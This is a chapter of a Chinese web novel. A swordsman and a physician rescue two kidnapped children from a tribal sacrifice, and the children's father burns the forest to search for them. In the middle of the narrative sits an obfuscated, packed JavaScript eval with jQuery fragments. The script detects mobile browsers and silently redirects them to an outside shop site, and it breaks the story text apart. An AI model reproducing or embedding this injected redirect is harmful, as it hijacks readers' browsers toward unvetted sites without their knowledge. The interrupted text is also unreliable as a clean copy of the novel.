没走多远,他们听到了人声。
百越和他们的语言差不了太多,只是因为习惯和口音听起来有些难懂,但连蒙带猜还是能听得大差不差的。
沈明烛与贺时序在原地听了半天,发现他们是在举行一场祭祀。
——前面有一棵多年前被雷劈到的枯树,这个春天到来,枯树居然抽了一株嫩绿的新枝。
百越人认为这是神明赐福的象征。
经过赐福,这树有了神力,那就是神明的眷者,他们理当按侍奉神明的标准去侍奉神树。
首当其冲的就是祭祀,祭品是人的血肉。
祭司唱着拗口难懂的歌,其中隐隐掺杂着磨刀的声音与小孩儿的呜咽声。
沈明烛带着贺时序躲在草丛后探头去望,见一男一女两个孩童被绑了起来,正拼命挣扎扭动,却苦于挣扎不开。
贺时序难以忍受地别过眼,不敢去看。
他压低声音,小声道:“公子,我们先走吧?”
祭祀在百越是一项很神圣的仪式,他们此行为的是交好而后贸易往来,不能一开始就得罪对方。
沈明烛没有反应。
贺时序觉得奇怪,以为是他没听见,又唤了一声:“公子?”
话音刚落,便见沈明烛拿着剑跃出草丛。
贺时序心一紧:“公子!”
声音都有些扭曲。
沈明烛显然是手下留情了,没有伤及百越人的性命,只斩断了绑缚在两个孩子身上的绳子,一手一个拎着就跑。
百越人在最初的怔忪过后,便嗷嗷叫着一拥而上,怒气冲冲又悍不畏死。
“抓住他。”
“啊啊啊该死的小贼。”
沈明烛动作很快,轻松闪避过他们,不一会儿就消失在草丛中。
惊险的局面看得贺时序险些惊叫出声。
“公子!”他捂着嘴,抑制住涌到喉咙口的惊叫,满脸生无可恋。
公子,你还记得另一边的草丛里面,还有一个太医吗?
幸好沈明烛没有忘记他,没过多久便回来了。
不知他把两个小孩儿放到了哪里,等回来的时候双手已经空了出来,于是这次拎的人换成了贺时序。
贺时序后衣领被拎了起来,双手双脚悬空,在半空中扑腾了几下,等反应过来后,他已经与两个孩子大眼瞪小眼。
沈明烛凝神听了片刻,确定追兵被他们甩开去了别处,这才露出一个浅浅的笑意。
他看向两个小孩儿,温声问:“还好吗?有没有哪里不舒服?”
贺时序总觉得沈明烛冲动了。
他来之前看过一些资料,百越对所信奉的神明极度虔诚,说不定这两个孩子还会觉得能成为神明的祭品是一种荣耀?
但心里这么忧心忡忡地想着,手还是很诚实地检查两个孩子身上有没有别的伤口。
两个小孩儿好似还没反应过来,表情呆呆愣愣的,好半天才神情恍惚地问了一句:“公子,你是仙人吗?”
“啊。”沈明烛笑了笑:“世界上没有仙人。”
沈明烛问:“你们的父母呢?”
小女孩瘪嘴想哭:“我们和爹娘走散了,爹爹娘亲一定很担心我们。”
年长一些的男孩儿连忙安抚似地抱了抱女孩,声音强忍着恐慌与胆怯:“别怕妹妹,哥哥会带你找到爹爹和娘亲的。”
是很善良很乖巧的两个孩子。
获救之后,他们第一个念头不是哭诉,而是关心自己的父母会不会担忧。
贺时序猛然震惊:“你们不是百越人?”
男孩摇头,忍着泪意礼貌回答:“不是,我们跟着爹爹娘亲路过这附近,人很多,被冲散了,然后我和妹妹就被抓来这里了。”
医者仁心的贺时序出离愤怒了,他义愤填膺:“要祭祀有本事用自己的人,拐卖小孩儿也配称虔诚!”
沈明烛神色一凛,把插在地上的剑拔起来,一脸严肃地往外走。
“公子?”贺时序仓促抓住他的衣角:“您这是要去做什么?”
沈明烛认真道:“杀人。”
刚刚下手轻了,这种人还是死了干净。
贺时序看出沈明烛是认真的,慌忙阻止:“慢着慢着,公子,从长计议啊。”
百越人出奇团结,就算以沈明烛的武力能在杀人后全身而退,但他们此行的目标也一定难以达成。
沈明烛刚刚抢了人就跑,破坏了对方的祭祀,也许尚有机会转圜,可要是闹出人命,就真的回天乏术了。
沈明烛歪头问他:“有什么关系吗?”
“啊?”贺时序不解其意,事关此行成败,没有关系吗?
沈明烛一本正经:“我们只是要粮食,又不是一定要和他们交好。”
他神情若有所思:“按道理来说,如果土地归了我们,任务也是能完成的吧?”
贺时序震惊:“您不会想把他们全部杀光吧?”
相比起巍巍大齐,百越国土不大,子民也不算多,但也有三万之众。
沈明烛单枪匹马,即便砍到剑都钝了,怕是也杀不完这么多人。
沈明烛默了默,慢吞吞地转身,“再看吧。”
像是听进去了,没再拿着剑,一幅随时要冲出去杀人的模样。
贺时序松了口气。
……贺时序这口气只松了一半。
他一个箭步上前拉住沈明烛衣摆,急得眼泪都要出来:“公子,您这又是去做什么?”
沈明烛牵着两个小孩往他们来的方向走去。
——他们刚刚才冒着九死一生的危险进入密林,还什么事都没做,就要出去了吗?
也不对,还是做了一些事的,比如彻底得罪了百越。
沈明烛疑惑地停住脚步:“当然是要出去呀,他们的父母在密林外。”
贺时序挡在他们面前,眼巴巴地试图挽留:“至少,至少等我研制出解药。”
沈明烛递了一株草药过去。
贺时序没反应过来,“什么?”
“解药。”沈明烛好声解释。
这株草药确实眼熟,印象中,贺时序采的数十种未知草药中就有它。
贺时序震惊:“公子怎么知道?”
莫非昔日的太子殿下也精于医术?不要吧,这未免也太全能,太不给别人留活路了。
沈明烛说:“百越人告诉我的。”
百越长期生活在这附近,有些阻挡瘴气的法子很合理,这么说也说得过去……才怪呢!
先不说百越怎么会莫名其妙告诉沈明烛,他们一共才来多久?
而且他全程都跟在沈明烛身边,他怎么不知道沈明烛什么时候和百越人聊上天了?
沈明烛像是能看出他脸上的崩溃,眼神示意般地看向两个小孩儿的衣襟。
他们胸口处扣子上缠了几根草叶,细看正是这种草药。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623680|143513||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只不过之前被绕成一团,形状不太分明,贺时序还以为是不小心沾上的野草。
男孩儿会意地摘下草药解释:“这是他们给我们缠上的,我偷听到,说是只有拿着这种草才能走过那个森林。”
贺时序一怔,随即大喜:“公子,要是我们能研制出解药,大军就能长驱直入了。”
“应该不是解药,这种草药只能驱散瘴气,除非大军人人都带上一株,但数量大概没这么多。”沈明烛漫不经心,丝毫不在意他还身中瘴毒。
贺时序喜意僵住,他焦躁地问:“那怎么办?”
沈明烛不紧不慢:“走一步看一步吧,首先,我们先替这两个孩子找找他们的父母。”
*
庆尧带着三百弟兄守在密林外,手持火把,满脸狠厉的坚决。
他听说过这林子里瘴气密布,踏入则死。为了他的儿子和女儿,他不怕死,但也不想白白送命。
庆尧不知道瘴气产生的原因,只能猜测是这里面生长了某种毒草。
没关系,大不了一把火全烧了,落得个干干净净。
“老、老大。”他身后有人咽了口唾沫:“真的要烧吗?我听老人说,山火不好灭,放火烧林,是会遭报应的。”
庆尧冷笑:“怕什么?一片毒林,烧了也是大功一件。”
“可是烧了毒气也会在吧?还会蔓延出来。老大,你为什么非要跟百越过不去?”其余人神色都有些不情愿,恨不得扔了火把就跑。
都是在附近生活过的人,自小听着这片地方的奇闻诡事长大,远离百越已经成了一种刻入本能的常识。
庆尧抬手将火把扔进林中,火苗顺着树木攀延啃噬,映着他的脸明暗交加。
“谁敢走,试试?”他声音冷淡,透着说一不二的杀意:“谁要是敢当逃兵,我先把他扔进去当养料。”
他不曾回头,可身后的人也被震慑住,不敢偷偷远离。
自三天前这人杀上山寨,在他们的围攻中一刀砍下了前老大的头颅,他就成了他们新的老大。
老大下的第一个命令,是让他们打听两个小孩的消息。
他们在街巷里走访了两天,也硬生生被新老大折磨了两天,终于打听到有人似乎看见了那两个小孩儿被带入百越部落。
——早知道就不该打听得那么尽心!
这下好了,这个精神状态不太正常的新老大要带他们来烧山。
按他们来说,都已经失踪这么久了,说不定那两个孩子早就凶多吉少,何必再搭上自己的命?
可是没办法,新老大实在太过凶残。他们要是不来,庆尧会打断他们的腿拖着过来。
三百弟兄齐齐咽了口唾沫。
正在这时,烟雾缭绕的密林内忽然传出了对话声:
“公子,怎么突然这么大的烟……啊,着火了,公子快走。”
“你带着小元、小满先走。”
小元、小满……
这是庆尧一双儿女的名字。
他浑身一阵,抬头去望。
隔着缥缈的烟雾,看到火光中有人持剑而来,身边护着两个小小的身影。
沈明烛砍断了正在燃烧的大树,粗壮的树干带着火苗栽倒到地上,似乎扑灭了一些,但用处不大。
庆尧猛然反应过来,大喝一声:“救火!”
身后举着火把正打算放火的弟兄们:“……”
老大你好颠啊。